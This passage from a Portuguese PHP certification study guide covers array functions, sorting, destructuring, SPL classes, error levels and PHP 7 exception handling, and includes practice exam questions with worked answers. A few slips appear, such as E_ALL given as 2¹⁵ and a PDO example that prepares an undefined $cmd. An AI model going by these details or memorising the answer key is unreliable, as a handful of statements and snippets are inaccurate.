Retorna o novo tamanho X X
Retorna o elemento removido X X
Trabalha no fim do array X
Trabalha no início do array X

Qual a conteúdo do array $vetor, ao término da execução do script abaixo:

<?php
$vetor = array(7 => 1, 2, 3);
Arrays 315

$vetor[] = 4;
$vetor[2] = 5;
array_pop($vetor);

A: array(2 => 5, 7 => 1, 8 => 2, 9 => 3, 10 => 4)


B: array(7 => 1, 8 => 2, 9 => 3, 10 => 4)
C: array(7 => 1, 8 => 2, 9 => 3, 10 => 4, 2 => 5)
D: array(0 => 5, 1 => 1, 2 => 2, 3 => 3)

Ao atribuirmos o valor 5 ao $vetor sob o índice 2, embora numericamente esteja antes dos demais,
na prática o PHP encadeia ao fim do array. Isso significa que se fôssemos inspecionar o conteúdo de
$vetor após a linha 4, ele teria a seguinte formação: array(7 => 1, 8 => 2, 9 => 3, 10 => 4, 2
=> 5). Diferente do que poderia se pensar, já que a chave 2 deveria vir antes de todos.

Quando executamos a função array_pop(), ele remove justamente o elemento 5, associado ao índice
2, pois ele está no fim. Portanto a alternativa correta é B: array(7 => 1, 8 => 2, 9 => 3, 10 =>
4).

Qual a saída do código a seguir:


<?php
$vetor = array(7 => 1, 2, 3);
$vetor[] = 4;
$vetor[2] = 5;
array_unshift($vetor, 6);
echo $vetor[7];

A: 2
B: 1
C: null
D: 5

Essa pergunta leva em conta o conhecimento adquirido na questão anterior, embora aqui haja um
agravante: o array_unshift() reorganiza o array, modificando completamente os índices, partindo
do 0 (zero) como primeiro elemento, 1 para o segundo valor e assim por diante.
Significa que ao escrever o conteúdo da chave 7 (que antes constava o valor 1), agora já não existe
mais. O array ficou, ao término da execução, nesse formato: array(0 => 6, 1 => 1, 2 => 2, 3
=> 3, 4 => 4, 5 => 5). Portanto o índice 7 é null - alternativa C é a correta.
Arrays 316

Iteração de arrays
Há diversas formas de percorrer um array, seja através da construção for e foreach ou de funções
como array_walk(). Veremos em detalhes cada uma das maneiras.
Quando os índices são numéricos e consecutivos, o laço for funciona perfeitamente:

1 for($i = 0; $i < count($a); $i++){


2 echo $a[$i];
3 }

Quando os índices forem baseados em string (arrays associativos), o loop foreach é o mais
apropriado para realizar tal tarefa:

1 foreach ($a as $valor){


2 echo $valor."<br>";
3 }

E quando os índices são importantes para o lógica do programador, o foreach tem uma sintaxe
diferenciada que oferece a possibilidade de resgatar as chaves:

1 foreach ($a as $chave => $valor){


2 echo $chave." ".$valor."<br>";
3 }

A função array_walk() percorre os itens do array e invoca uma função callback para cada elemento.
No exemplo abaixo a função escreveItens() é executada para cada item do array $certificacoes.

1 $certificacoes = array("ZCPE" => "Zend", "CSM" => "Scrum Alliance", "MCP" => "Mi\
2 crosoft");
3 function escreveItens($valor, $chave)
4 {
5 echo $chave." ".$valor."<br>";
6 }
7
8 array_walk($certificacoes, 'escreveItens');

O callback também aceita argumentos. Basta passar como parâmetro(s) extra(s) na função array_-
walk().
Arrays 317

1 $certificacoes = array("ZCPE" => "Zend", "CSM" => "Scrum Alliance", "MCP" => "Mi\
2 crosoft");
3 function escreveItens($valor, $chave, $nome)
4 {
5 echo $nome." ".$chave." ".$valor."<br>";
6 }
7
8 array_walk($certificacoes, 'escreveItens', 'Ari');

Uma construção interessante é passar um objeto como segundo parâmetro da função array_walk(),
fazendo com que seja executado como $obj(), invocando o método mágico __invoke():

1 $obj = new MinhaClasse;


2 $vetor = array("ZCE", "SCM", "MCP");
3 array_walk($vetor, $obj); //chama três vezes o método __invoke

Array multi-dimensional
As matrizes são quando um array possui internamente um ou mais arrays. Ou seja, quando um
elemento do array na verdade é outro array.
Para acessar um elemento específico você precisa de mais índices: dois quando for bi-dimensional,
três para tri-dimensional e assim por diante.

1 $frameworks = array
2 (
3 array("ZendFramework", "ZF2 Certified Architect", "ZFTool"),
4 array("Symfony", "Symfony Certified Developer", "Console"),
5 array("CakePHP", "Certified CakePHP Developer", "Bake"),
6 array("Laravel", "Laravel Certified Developer", "Artisan")
7 );
8
9 echo "Framework: ".$frameworks[1][0]."<br>";
10 echo "Certificação: ".$frameworks[1][1]."<br>";
11 echo "Linha de comando: ".$frameworks[1][2];

No exemplo acima teremos como saída:


Arrays 318

Framework: Symfony
Certificação: Symfony Certified Developer
Linha de comando: Console

O PHP comporta encadear arrays dentro de arrays, mas estruturas muito “profundas” (com mais de
três níveis) tendem a ter grande complexidade na manipulação e na lógica empregada.

1 $frameworks = array
2 (
3 array("nome" => "ZF2", "console" => "ZFTool", "psr" => array (7)),
4 array("nome" => "Symfony", "console" => "Console", "psr" => array (1, 2, 4)),
5 array("nome" => "CakePHP", "console" => "Bake", "psr" => array (1, 2)),
6 array("nome" => "Laravel", "console" => "Artisan", "psr" => array (2))
7 );
8
9 echo "Framework: ".$frameworks[1]['nome']."<br>";
10 echo "Nível de PSR: ".$frameworks[1]['psr'][2];

Framework: Symfony
Nível de PSR: 4

Funções para tratamento de array


A ordenação crescente de array é realizada através da função sort(). Ex.:

1 $a = array(5, "43", "27", 3);


2 sort($a); //array(3, 5, "27", "43");

Importante alertar que a função sort() altera os índices do array. Caso não seja essa a sua intenção,
utilize a função asort() para preservar a relação chave-valor.
Abaixo seguem mais funções de ordenação. Ex.:

Funções Descrição
arsort() Ordena o array de forma decrescente, mantendo os índices
ksort() Ordena pelas chaves
krsort() Ordena pelas chaves, de trás para frente
rsort() Ordena o array de forma reversa
usort() Ordenação baseado numa função de usuário, disparada por callback
Arrays 319

Outro método relevante de ordenação chama-se ordenação natural. Imagine que você queira ordenar
nomes de arquivos, para ter a sequencia correta:

1 $a = array("arquivo9.pdf", "arquivo10.pdf", "arquivo11.pdf");


2 sort($a); // array("arquivo10.pdf", "arquivo11.pdf", "arquivo9.pdf")

Veja que não reflete exatamente o que pretendíamos, pois a função sort() realiza uma ordenação
ASCII, baseada nos caracteres que formam os nomes. Significa que a string arquivo10 vem antes da
arquivo9, já que 1 < 9.

Para corrigir esse problema, podemos passar a constante SORT_NATURAL como argumento extra na
função sort(). Ex.:

1 $a = array("arquivo9.pdf", "arquivo10.pdf", "arquivo11.pdf");


2 sort($a, SORT_NATURAL); // array("arquivo9.pdf", "arquivo10.pdf", "arquivo11.pdf\
3 ")

Outras funções específicas para essa finalidade, que utilizam heurísticas e outras técnicas, são:
natsort(), natcasesort(), strnatcmp() e strnatcasecmp(). Mais informações em https://github.
com/sourcefrog/natsort.

Funções interessantes Descrição


array_key_exists($chave, $array) Verifica se a respectiva $chave existe no
array
in_array($elemento, $array) Verifica se $elemento consta no array
array_keys() Retornar todos os índices do array
array_values() Retorna todos os valores do array

Para compararmos arrays usamos a família de funções array_diff($a, $b) que retorna todos os
valores que existam em $a, mas que não aparecem em $b, independentemente do índice na qual os
valores estão endereçados.

1 $a = array("a" => "PHP", "JavaScript", "CSS", "MongoDB");


2 $b = array("b" => "PHP", "HTML", "JavaScript", "CSS");
3 $d = array_diff($a, $b);

No exemplo acima, o array $d possuiu apenas um elemento que é MongoDB. Mas veja que o array $b
possui o elemento HTML que não existe em $a, mesmo assim ele não é retornado em decorrência da
forma como a função trabalha.
Observe também que o valor PHP ora aparece associado a chave a (em vetor $a), ora aparece
vinculado a chave b (em vetor $b). Nesse caso o array_diff() não distingue o valor.
Arrays 320

Abaixo segue uma breve lista de outras funções da mesma família, para aumentar o seu repertório
para a prova:

Funções Descrição
array_diff_assoc() Compara valores e chaves
array_diff_key() Compara somente as chaves
array_diff_uassoc() Compara valores e chaves através de uma função de usuário
array_diff_ukey() Compara somente as chaves através de uma função de usuário

Qual a saída do código a seguir?


<?php
$a = array(073, 0103, 0113, 0123, 073);
$b = array(73, 83, 93, 103);
echo count(array_diff($a, $b));

A: 2
B: 3
C: 4
D: 5
E: 6

Primeiramente observe os valores do array $a e veja que todos começam com o dígito 0 (zero).
Significa que estão em base octal.
Para algum desavisado, possivelmente seria levado a crer que o PHP faria um type juggling
transformando 073 em 73, mas não é como acontece.
Relembrando as conversões, vamos transformar 73 em base octal para o seu correspondente em base
decimal:
Arrays 321

Assim sendo o valor 123 octal representa o 83 em base decimal, que consta no array $b.
E perceba que o elemento 073 aparece DUAS vezes no vetor $a, e a função array_diff() conta
também.
Analisando elemento por elemento, teremos: 073 que não existe no array $b, portanto entra no diff,
o 0103 (67 decimal) também difere, 0113 (75 decimal) não existe em $b e novamente o 073. Contando
teremos 4 elementos, portanto alternativa correta é C:.
O valor 0123 tem seu equivalente em $b(83 decimal), mas não difere e também não contabiliza no
count(). Ex.:
Arrays 322

Da mesma forma que podemos dividir um array, podemos mesclar. Para tanto utilizamos a função
array_merge(). Veja um exemplo:

1 $a = array(1, 2, 4, 8);
2 $b = array(0, 2, 4, 6, 8, 10);
3 $m = array_merge($a, $b);
4 print_r($m);

Observe que existem valores iguais tanto em $a quanto em $b, como é o caso do 2, 4 e 8. Mesmo
assim a função array_merge() adiciona elementos repetidos quando o índice for numérico, então
o resultado seria o array a seguir, contendo 10 itens:
Arrays 323

1 Array
2 (
3 [0] => 1
4 [1] => 2
5 [2] => 4
6 [3] => 8
7 [4] => 0
8 [5] => 2
9 [6] => 4
10 [7] => 6
11 [8] => 8
12 [9] => 10
13 )

Acontece diferentemente quando trabalhamos com índices como string, no contexto de arrays
associativos. Nesses casos a função array_merge() sobrescreve os valores do segundo array, caso
conflitam:

1 $a = array("a" => 1, "b" => 2);


2 $b = array("b" => 3, "c" => 4);
3 $m = array_merge($a, $b); //array("a" => 1, "b" => 3, "c" => 4)

Outra função de manipulação de array que geralmente aparece no exame é array_combine().


Essa função recebe obrigatoriamente dois arrays, associando os índices do primeiro com os valores
passados no array seguinte:

1 $array = array_combine(array("A", "B", "C"), array(1, 2, 3));

O conteúdo de $array será:

1 Array
2 (
3 [A] => 1
4 [B] => 2
5 [C] => 3
6 )

Desconstrução simétrica de array


A versão 7.1 o PHP trouxe melhorias na desconstrução de arrays, associando os valores em variáveis
de forma automática. Ex.:
Arrays 324

1 $vetor = ['a', 'b', 'c'];


2 [$a, $b, $c] = $vetor;
3 echo $a; // 'a'
4 echo $b; // 'b'
5 echo $c; // 'c'

Desde a versão 4 do PHP, essa associação só seria possível substituindo a linha [$a, $b, $c] =
$vetor; por list($a, $b, $c) = $vetor;. Lembrando que list muitas vezes é chamada errone-
amente de função, sendo que tecnicamente é uma construção da linguagem PHP.
Outra flexibilidade interessante que torna o código mais clean é:

1 $identidade = ['nome' => 'Ari', 'idade' => 40, 'nacionalidade' => 'brasileiro'];
2 ['nome' => $nome, 'nacionalidade' => $origem, 'idade' => $idade] = $identidade;
3 echo $nome; //Ari

Perceba a associação da variável $origem e $idade que não seguem necessariamente a ordem em
que os índices foram dispostos inicialmente.

Qual a saída do código abaixo:


<?php
$a = [1 => 'Ari', 3 => 'Ariel', 5 => 'Ariane'] + ['Neto', 'Paloma', 'Laci'];
echo count($a);
?>

_____________ (campo aberto)

Nessa questão lidamos com operações em arrays. A primeira porção atribui os valores Ari, Ariel e
Ariane nos seus respectivos índices, respectivamente 1, 3 e 5.

Ao realizar a união (sinal de +) com o segundo array, os índices já ocupados são preservados. Então
o valor Neto assume a chave 0 e Laci associa ao índice 2, enquanto que Paloma está vinculada em
1, porém esse elemento já existe no primeiro array (que é Ari).

Ao escrever o conteúdo do array, teremos a seguinte saída:


Arrays 325

Array
(
[1] => Ari
[3] => Ariel
[5] => Ariane
[0] => Neto
[2] => Laci
)

Portanto a resposta será: 5.

SPL e Objetos como arrays


A Standard PHP Library disponibiliza uma série de classes para operações comuns no dia-a-
dia do desenvolvimento. Várias classes pertencentes a SPL foram descritas no capítulo anterior
(“Programação Orientada à Objetos”).
No contexto de arrays, que é o enfoque desse capítulo, temos a classe ArrayObject que provê acesso
à objetos usando funções de array. Ex.:

1 $certificacoes = array("ZCE 5.3", "ZCPE 5.5", "ZCE 7.1");


2 $arrayObj = new ArrayObject($certificacoes);
3
4 echo $arrayObj->count();
5 //3
6
7 echo $arrayObj->serialize();
8 //x:i:0;a:3:{i:0;s:7:"ZCE 5.3";i:1;s:8:"ZCPE 5.5";i:2;s:7:"ZCE 7.1";};m:a:0:{}
9
10 foreach ($arrayObj as $i => $v) {
11 echo "Índice: " . $i . " Valor: " . $v . "<br />";
12 }

A classe ArrayObject é a implementação concreta da interface ArrayAccess⁹².

Que classe SPL implementa um armazenamento de tamanho fixo?


_____________ (campo aberto)

⁹²http://php.net/manual/en/class.arrayaccess.php
Arrays 326

Quando tivermos uma implementação que dependa de um array de tamanho fixo, convém
utilizarmos a classe SplfixedArray já que é mais eficiente do que o uso de array PHP nativo. Deve
ser digitado no campo a resposta SplfixedArray.

Array constante
A partir da versão 7.0 do PHP temos a possibilidade de criar arrays constantes utilizando define(),
o que antes só era possível com a função const(). Ex.:

1 define('FRAMEWORKS', [
2 'ZF',
3 'Laravel',
4 'Phalcon'
5 ]);
6 echo FRAMEWORKS[1]; //Laravel

Simulado
1.

Qual a saída do script a seguir?

<?php
$array = array(0.1 => 'a', 0.2 => 'b');
echo count($array);
?>

A: 1
B: 2
C: 0
D: Nada
E: 0.3

2.

Qual é a forma mais eficiente para determinar se uma chave está presente em um a\
rray, assumindo que o array não tem valores nulos?

A: in_array('key', array_keys($a))
B: isset($a['key'])
Arrays 327

C: array_key_exists('key', $a)
D: Nenhuma das alternativas

3.

<?php
class minha_classe
{
public $meu_valor = array();
function minha_classe($value)
{
$this->meu_valor[] = $value;
}
function set_valor($value){
$this->meu_valor = $value;
}
}

$a = new minha_classe('a');
$a->meu_valor[] = 'b';
$a->set_valor('c');
$a->minha_classe('d');
?>

A:
Array
(
[0] => d
)

B: Fatal error: [] operator not supported for strings

C:
Array
(
[0] => a
[1] => b
[2] => d
)

D: c
Arrays 328

E:
Array
(
[0] => c
[1] => d
)

4.

Qual dos seguintes interfaces/classes da SPL estende a interface Iterator padrão\


e permite a recuperação de um item específico a partir do armazenamento interno\
de dados?

A: ArrayAccess
B: SeekableIterator
C: RecursiveIteratorIterator
D: FilterIterator

5.

Qual função pode reverter a ordem dos valores de um array, preservando os índice\
s?

A: array_flip()
B: array_reverse()
C: rsort()
D: krsort()
E: array_multisort()

Respostas do simulado
1.
Os índices do array não aceitam float, portanto 0.1 será convertido para integer(0). O mesmo
acontece com 0.2, consequentemente o valor b vai sobrescrever a.
Significa que vai sobrar apenas um elemento no array, então a função count() contará 1 elemento.
Resposta: A.
Arrays 329

Diferentemente de array('0.1' => 'a', '0.2' => 'b') que mantém os índices como string e
portanto diferencia ambos os índices, contando 2.
Pegando um exemplo da documentação oficial https://secure.php.net/manual/pt_BR/language.types.
array.php, veja que todos os índices serão convertidos automaticamente para integer(1) prevale-
cendo o último valor inserido, nesse caso string("d"). Ex.:

1 $array = array(
2 1 => "a",
3 "1" => "b",
4 1.5 => "c",
5 true => "d",
6 );
7 var_dump($array);

A saída do código acima será:

array(1) {
[1]=>
string(1) "d"
}

2.
As alternativas A, B e C funcionam, diante do enunciado. A pergunta é: qual o mais performático?
Sabe-se que a função isset() é bastante eficiente, mesmo assim vamos realizar um benchmark
simplório e averiguar:

1 $a = array("ZCE 5.3", "ZCPE 5.5", "ZCPE 7.1", "ZFCA", "MCP", "SCP");


2
3 $inicio = microtime(true); //true devolve um float como resultado
4 in_array(5, array_keys($a));
5 $fim = microtime(true);
6 $total = $fim - $inicio;
7 echo number_format($total, 12)."<br>";
8
9 $inicio = microtime(true);
10 array_key_exists(5, $a);
11 $fim = microtime(true);
12 $total = $fim - $inicio;
13 echo number_format($total, 12)."<br>";
14
Arrays 330

15 $inicio = microtime(true);
16 isset($a[5]);
17 $fim = microtime(true);
18 $total = $fim - $inicio;
19 echo number_format($total, 12)."<br>";

No código acima vamos usar a função microtime() que devolve o timestamp corrente em micro-
segundos. Obtivemos o tempo antes e depois da execução e mostramos a diferença com doze casas
decimais.
O resultado do código será:

0.000004053116
0.000001907349
0.000000953674

Portanto vemos que a instrução isset($a[5]); leva menos tempo de execução e, portanto, mais
rápida que a demais opções. Então a resposta será a alternativa B:.
3.
Primeiramente teremos o método de mesmo nome da classe que será executado assim que ela
for instanciada, agindo como o método construtor, para garantir a compatibilidade com códigos
antigos. Trata-se de um recurso obsoleto que será extinto nas futuras versões, mas que ainda funciona
no PHP 7.1.
Na primeira instrução a ser executada (linha 14) o valor a será armazenado no índice 0 do array
meu_valor[]. Depois b será atribuído no índice 1 de meu_valor[], já que é um atributo público
e portanto acessível externamente perante a classe. Ao executar set_valor('c') (na linha 16), o
método modifica o array para uma variável e armazena c. Ao invocar o método minha_classe('d'),
a estrutura de meu_valor já não é mais um vetor e portanto ocasiona um: Fatal error: Uncaught
Error: [] operator not supported for strings in.... Nesse caso a alternativa B é a resposta
correta.
4.
Primeiramente temos que lembrar que somente a classe SeekableIterator, RecursiveIteratorI-
terator e FilterIterator pertencem a SPL (Standard PHP Library), e portanto ArrayAccess está
descartada. Para contextualizar, ArrayAccess é uma interface que provê o acesso a objetos como se
fossem arrays. A classe RecursiveIteratorIterator percorre arrays multi-dimensionais, iterando
como árvores de dados. A classe FilterIterator é usada para filtrar itens devolvidos na iteração.
A classe SeekableIterator estende a interface Iterador padrão e adiciona o método seek() que
proporciona a capacidade de recuperar um item específico de uma fonte de dados interna. Mais
informações em http://php.net/manual/pt_BR/book.spl.php.
5.
A resposta é B: array_reverse(), desde que o segundo parâmetro seja true. Ex.:
Arrays 331

1 $array = array("Ari", 7.1, array("ZCE","ZCPE"));


2 $reverso = array_reverse($array);
3 $preservado = array_reverse($array, true);
4
5 print_r($array);
6 print_r($reverso);
7 print_r($preservado);

Array
(
[0] => Ari
[1] => 7.1
[2] => Array
(
[0] => ZCE
[1] => ZCPE
)

)
Array
(
[0] => Array
(
[0] => ZCE
[1] => ZCPE
)

[1] => 7.1


[2] => Ari
)
Array
(
[2] => Array
(
[0] => ZCE
[1] => ZCPE
)

[1] => 7.1


[0] => Ari
)
Manipulação de erros
A manipulação de erros é parte importantíssima do desenvolvimento de software, tanto em ambiente
de desenvolvimento, homologação e produção.
Fundamentalmente teremos dois tipos de erros:

• Sintaxe – violação na combinação de caracteres e regras de construção, arruinando a execução


do código;
• Lógica/semântica – não provoca quebra na execução, mas a operação está incorreta do ponto
de vista do domínio da aplicação.

E quanto a severidade dos erros teremos três tipos de situações:

• Notice: é uma notificação não fatal, que aponta melhorias;


• Warning: um aviso não fatal, mas algo está errado e certamente provocará erros no futuro;
• Error: fatal e o programa falha ao executar (aborta a execução), pois excedeu a tolerância
máxima suportada. Conhecida também pela white screen of death (tela branca da morte).

Podemos estipular quais os tipos de erros gostaríamos de evidenciar para que nosso código fique
melhor, evitando bugs.
Temos 16 tipos de erro dentro do PHP:

Constante Valor Significado


E_ERROR 1 ou 2⁰ Erro fatal de execução
E_WARNING 2 ou 2¹ Advertência na execução, mas não é fatal
E_PARSE 4 ou 2² Erro em interpretação, portanto não executa o script
E_NOTICE 8 ou 2³ Aviso brando na execução
E_CORE_ERROR 16 ou 2⁴ Erros gerados internamente pelo PHP
E_CORE_WARNING 32 ou 2⁵ Avisos gerados internamente pelo PHP
E_COMPILE_ERROR 64 ou 2⁶ Erros gerados internamente pela Zend scripting engine
E_COMPILE_WARNING 128 ou 2⁷ Avisos gerados internamento pela Zend scripting engine
E_USER_ERROR 256 ou 2⁸ Erros em tempo de execução (runtime) gerados através da função
trigger_error()
E_USER_WARNING 512 ou 2⁹ Avisos em tempo de execução (runtime) gerados através da
função trigger_error()
E_USER_NOTICE 1024 ou 2¹⁰ Notificações em tempo de execução (runtime) gerados através da
função trigger_error()
E_STRICT 2048 ou 2¹¹ Aviso com ênfase em compatibilidade e melhores práticas
Manipulação de erros 333

Constante Valor Significado


E_RECOVERABLE_ERROR 4096 ou 2¹² Indica que um erro perigoso aconteceu, mas não deixou o engine
instável. Deve ser tratada por uma função definida pelo usuário
E_DEPRECATED 8192 ou 2¹³ Aviso de que não executará em futuras versões do PHP
E_USER_DEPRECATED 16384 ou 2¹⁴ Avisos em tempo de execução (runtime) gerados através da
função trigger_error(), no contexto de compatibilidade futura
E_ALL 32767 ou 2¹⁵ Combina todos os erros fatais, avisos e notificações

Você pode modificar os níveis de erro que lhe interessa analisar, o fazendo globalmente configu-
rando diretivas no php.ini:
Cláusula Características
error_reporting Configure via constante ou diretamente pelo valor (potências de 2)
display_erros Mostra ou não os erros em tela. O padrão é ligado, ou seja, on ou 1
log_errors Aceita 1 (on) e 0 (off). O padrão é desligado, ou seja, off ou 0
log_errors_max_len Tamanho das mensagens de erro em bytes. O padrão é 1024 bytes, sendo que 0 é
ilimitado
error_log Indica o caminho do arquivo de log. O padrão é NULL, ou seja, direciona para os
logs de erro do servidor web

É possível alterar as configurações de erro no próprio script, através da função error_reporting()


e ini_set(). Ex.:

1 error_reporting(E_ALL | E_STRICT);
2 ini_set('display_errors', 1);
3 ini_set('log_errors', 1);
4 ini_set('log_errors_max_len', 0);
5 ini_set('error_log', '/RaizZendServer/php_errors.log');
6
7 //Alterando artificialmente a capacidade de memória
8 ini_set('memory_limit', '1K');

As parametrizações de erros são formadas por operações bitwise, dentre elas |, ∼, ^ e &. Ex.:

Cláusula Descrição
E_ALL & ∼E_NOTICE Todos os erros E_ALL exceto as notificações em tempo de execução
E_NOTICE
E_ALL ^ E_NOTICE Mesmo efeito citado acima
E_ERROR | E_RECOVERABLE_ERROR Mostrar apenas erros e situações recuperáveis

É possível suprimir erros em expressões pontuais, através do operador @. Ex.:


Manipulação de erros 334

1 $valor = @(2/0);

Em condições normais, esse código teria a sua execução abortada. Porém, ao utilizar @, o PHP
continua executando. Embora seja uma prática desaconselhada, pode ser eventualmente útil.
Você pode customizar os erros implementando uma função própria e registrando-a através da
função set_error_handler(). Mas apenas alguns tipos de erro permitem que se sobrescreva o
manipulador de erros nativo, dentre eles: E_WARNING, E_NOTICE, E_USER_ERROR, E_USER_WARNING,
E_USER_NOTICE, E_RECOVERABLE_ERROR, E_DEPRECATED e E_USER_DEPRECATED. Os erros que não
permitem customização são: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR,
E_COMPILE_WARNING e E_STRICT.

Podemos disparar erros deliberadamente através da função trigger_error(), útil em tarefas de


debug:

1 error_reporting(E_ALL | E_STRICT);
2
3 trigger_error("Mensagem customizada de aviso.", E_USER_NOTICE);
4 trigger_error("Mensagem customizada de advertência.", E_USER_WARNING);
5 trigger_error("Mensagem customizada de erro.", E_USER_ERROR);
6
7 echo "Essa string não será mostrada";

O resultado da execução desse script será:

Notice: Mensagem customizada de aviso. in /.../disparando_erros.php on line 4

Warning: Mensagem customizada de advertência. in /.../disparando_erros.php on li\


ne 5

Fatal error: Mensagem customizada de erro. in /.../disparando_erros.php on line 6

O PHP 7.0 mudou significativamente a manipulação de erros e exceções, como veremos mais adiante.

Exceções
Existem exceções mais específicas, como é o caso da classe PDOException, invocada quando houver
uma violação nas instruções que utilizam a classe PDO.
Considere um banco de dados fictício chamado zcpe operando em localhost, tendo uma tabela
usuarios já devidamente populada. Essa tabela contém um registro onde o campo id (primary key)
consta o valor 1.
Manipulação de erros 335

Ao tentar adicionar o registro com mesma chave primária 1, o script abaixo tenta executar a
prepared statement e consequentemente exibe Cadastrado com êxito. Porém a instrução não é
executada de fato, pois viola a constraint de integridade do banco de dados, já que o SGBD proíbe
que seja inserido uma chave duplicada - definida como PRIMARY KEY.

1 $dsn = 'mysql:host=localhost;dbname=zcpe';
2 $pdo = new PDO($dsn, 'usuario', 'senha');
3 try {
4 $sql = "INSERT INTO usuarios (id, nome, email) VALUES (:id, :nome, :email)";
5 $stmt = $pdo->prepare($cmd);
6 $stmt->bindValue('id', 1);
7 $stmt->bindValue('nome', 'Ari Stopassola Junior');
8 $stmt->bindValue('email', 'ari@certificamp.com');
9 $stmt->execute();
10 echo "Cadastrado com êxito";
11 }
12 catch (PDOException $e) {
13 echo "PDOException";
14 throw $e;
15 }

O problema é que o objeto $e da classe PDOException deveria ser capturado, o que estranhamente
não acontece. Para isso, é necessário especificar o atributo PDO::ATTR_ERRMODE da conexão PDO para
PDO::ERRMODE_EXCEPTION. Ex.:

1 $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

Daí sim o código acima resultará em:

Fatal error: Uncaught PDOException: SQLSTATE[23000]: Integrity constraint violat\


ion: 1062 Duplicate entry '1' for key 'PRIMARY' in...

Throwables
Agora as classes Error e Exception implementam a interface Throwable, seguindo a estrutura
hierárquica ilustrada abaixo (inspirado pelo artigo de Davey Shafik⁹³):

⁹³https://www.daveyshafik.com/archives/69237-an-exceptional-change-in-php-7-0.html
Manipulação de erros 336

Throwable
|-- Exception (implements Throwable)
| |-- LogicException (extends Exception)
| | |-- BadFunctionCallException (extends LogicException)
| | | |-- BadMethodCallException (extends BadFunctionCallException)
| | |-- DomainException (extends LogicException)
| | |-- InvalidArgumentException (extends LogicException)
| | |-- LengthException (extends LogicException)
| | |-- OutOfRangeException (extends LogicException)
| |-- RuntimeException (extends Exception)
| |-- OutOfBoundsException (extends RuntimeException)
| |-- OverflowException (extends RuntimeException)
| |-- RangeException (extends RuntimeException)
| |-- UnderflowException (extends RuntimeException)
| |-- UnexpectedValueException (extends RuntimeException)
|-- Error (implements Throwable)
|-- AssertionError (extends Error)
|-- ParseError (extends Error)
|-- TypeError (extends Error)

Abaixo seguem algumas situações onde erros específicos da classe Error são ocasionados:

Classes filhas de Error Situação que provoca o erro


TypeError Quando argumento ou retorno de função são incompatíveis com a declaração
de tipos
ParseError Quando um código incorporado via include ou avaliado por eval() contém
erro de sintaxe

Tanto a classe Error quanto Exception implementam a interface Throwable, que é interna da
linguagem e não pode ser implementada por uma classe customizada. Caso queira desenvolver a
sua própria classe para manipulação de erros, você deve extender Error ou Exception.
O time de desenvolvimento do core do PHP recomenda que se manipule erro ou exceção em blocos
catch separados. Ex.:

1 try {
2 //Código que pode lançar um erro ou exceção
3 } catch (Exception $e){
4 //Manipula a exceção
5 } catch (Error $e){
6 //Manipula o erro
7 }
Manipulação de erros 337

Uma abordagem mais simplificada, agrupando erros e exceções no mesmo catch, seria utilizando a
interface Throwable. Ex.:

1 try {
2 //código suscetível a erros ou exceções
3 } catch (Throwable $e){
4 //Manipula erros e exceções
5 }

Observe o código abaixo e perceba que a classe Cronometro implementa os métodos mágicos
__construct() e __destruct(). Vamos forçar deliberadamente um erro na linha 15, invocando
um método inexistente: $tarefa->dispara();. Ao executarmos esse script, o PHP gera um Fatal
error impedindo que o método __destruct seja executado, podendo ocasionar efeitos colaterais na
execução do código.
Veja que o PHP expõe um erro não capturado (Uncaught Error) ao invés de uma exceção e a
mensagem Finaliza cronômetro não será exibida - o quê pode ocasionar instabilidade na aplicação
como um todo. Ex.:

1 class Cronometro
2 {
3 public function __construct()
4 {
5 echo "Inicia cronômetro<br>";
6 }
7 public function __destruct()
8 {
9 echo "Finaliza cronômetro<br>";
10 }
11 }
12
13 try {
14 $tarefa = new Cronometro;
15 $tarefa->dispara();
16 } catch (Exception $e){
17 echo $e->getMessage()."<br>";
18 } finally {
19 echo "Bloco finally executado<br>";
20 }

O código acima propositadamente lança (throw) um erro não capturado, gerando uma interrupção
abrupta no script, sem chamar o destrutor da classe, tão pouco redirecionar ao fluxo de finally.
Como o PHP 7.0 desmembrou a classe Error, faz-se necessário um catch específico para ela.
Manipulação de erros 338

Significa que, com um pequeno ajuste, podemos melhorar o fluxo do código finalizando graciosa-
mente a execução do objeto $tarefa. Mantendo a mesma definição de classe, observe novamente
as linhas 6 e 7 onde adicionamos mais um catch, mas desta vez interceptando um objeto da classe
Error:

1 try {
2 $tarefa = new Cronometro;
3 $tarefa->dispara();
4 } catch (Exception $e){
5 echo $e->getMessage()."<br>";
6 } catch (Error $e){
7 echo $e->getMessage()."<br>";
8 } finally {
9 echo "Bloco finally executado<br>";
10 }

Significa que agora o script vai capturar adequadamente erros e exceções, mostrando:

Inicia cronômetro
Call to undefined method Cronometro::dispara()
Bloco finally executado
Finaliza cronômetro

Tanto a classe Error quanto Exception disponibilizam uma série de métodos para rastreamento de
erros e exceções:
Métodos Descrição
getMessage() Obtém a mensagem do erro ou exceção
getCode() Retorna um código de erro interno associado ao respectivo erro ou exceção
getFile() Resgata o nome do arquivo na qual gerou o erro/exceção
getLine() Devolve a linha na qual o erro ou exceção ocorreu
getTrace() Obtém a pilha de rastreamentom informando nome de arquivo, função que provocou o erro etc
getTraceAsString() O mesmo que getTrace(), porém devolve uma string com tais informações
getPrevious() Retorna o erro disparado anteriormente, caso exista
__toString() Devolve a string que representa o erro ou exceção

No PHP 7.0 os erros E_STRICT foram reclassificados para outras categorias de erros.
As chamadas static de métodos não estáticos foram realocadas como obsoletas (deprecated),
indicando que esse tipo de erro deixará de funcionar nas próximas versões do PHP. Nas versões
anteriores ao PHP 7.0 elas estavam categorizadas como Strict Standards. Ex.:
Manipulação de erros 339

1 class BoasVindas
2 {
3 public function quem($nome)
4 {
5 echo "<hr>Olá ".$nome."!</hr>";
6 }
7 }
8
9 BoasVindas::quem("Ari");

Esse código gera um aviso indicando que essa possibilidade será descontinuada, embora ainda funci-
one: Deprecated: Non-static method BoasVindas::quem() should not be called statically
in....

A partir do PHP 7.0 foram incorporadas novas palavras reservadas restringindo o uso em nomes
de classe, interface, trait e namespace.

• PHP 7.0: int, float, bool, string, true, false, null, resource, mixed e numeric;
• PHP 7.1: void e iterable;
• PHP 7.2: object - a título de conhecimento, pois não cairá no teste, já que o exame engloba
conteúdos até a versão 7.1.

Abaixo temos um exemplo que irá ocasionar um Fatal error:

1 trait Iterable {
2 function obtemAlgo() {
3 return "OK";
4 }
5 }
6
7 class minhaClasse {
8 use Iterable;
9 }
10
11 $obj = new minhaClasse;
12 echo $obj->obtemAlgo();

A saída do código acima será um erro fatal em decorrência da palavra reservada iterable:

